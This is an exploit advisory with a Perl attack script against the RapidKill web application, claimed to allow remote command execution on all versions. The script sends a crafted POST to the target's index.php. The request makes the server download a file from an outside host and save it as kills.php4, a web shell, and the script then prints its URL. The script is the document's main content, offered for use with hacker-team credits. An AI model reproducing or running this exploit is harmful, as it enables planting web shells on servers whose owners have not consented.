rapidkill.txt

`Application : RapidKill  
Vulnerability Kind : Remote command execute  
Product Link : http://www.rapidkill.net  
version : All Versions Affected  
mail: [email protected]  
Author : Black-0ut  
  
exploit :  
  
#/usr/bin/perl  
use URI::Escape;  
use IO::Socket;  
  
$ha=$ARGV[0];  
$pa=$ARGV[1];  
$file="kills.php4";  
  
if (!$ARGV[1]) {  
print"\n";  
print "[+] Coded By Red_Dragon or H3CT0R3 [+]\n";  
print "[+] KAYVANIRAN IT AND SECURITY TEAM [+] \n";  
print "[+] Persian site: http://www.onhackerline.ir/ [+] \n";  
print "[+] English site: http://www.onhackerline.com/ [+] \n";  
print "[+] RapidKill [+] \n";  
print "[+] Black 0ut Frenzy Team [+] \n";  
print "[+] On Hacker Line WhiteHat Team [+] \n";  
print "[+] E-mail : [email protected] [+] \n";  
print"\n";  
print "ex : www.ex.com /path/\n";  
exit;  
}  
uri_escape($com);  
$sock =  
IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$ha",PeerPort=>"80") || die  
"[-] Unable to retrieve: $!";  
  
$sendurl =  
"FileName=".$file."&host=www.edseek.org&path=%2Fdownloads%2Ffile_info%2Fdescriptions%2Fsys.txt&referer=http%3A%2F%2Fwww.edseek.org%2Fdownloads%2Ffile_info%2Fdescriptions%2Fsys.txt&email=&partSize=&method=tc&proxy=&saveto=/home/webmixi/public_html/rapid&link=http%3A%2F%2Fwww.edseek.org%2Fdownloads%2Ffile_info%2Fdescriptions%2Fsys.txt";  
$sendlen = length($sendurl);  
print $sock "POST ".$pa."/index.php HTTP/1.1\n";  
print $sock "Host: ".$ha."\n";  
print $sock "Connection: close\n";  
print $sock "Content-Type: application/x-www-form-urlencoded\n";  
print $sock "Content-Length: ".$sendlen."\n\n";  
print $sock $sendurl;  
print "Creating Shell...Plz W8\n\n";  
while($recvd = <$sock>)  
{  
print " ".$recvd."";  
}  
print "shell: ".$ha.$pa.$file;  
`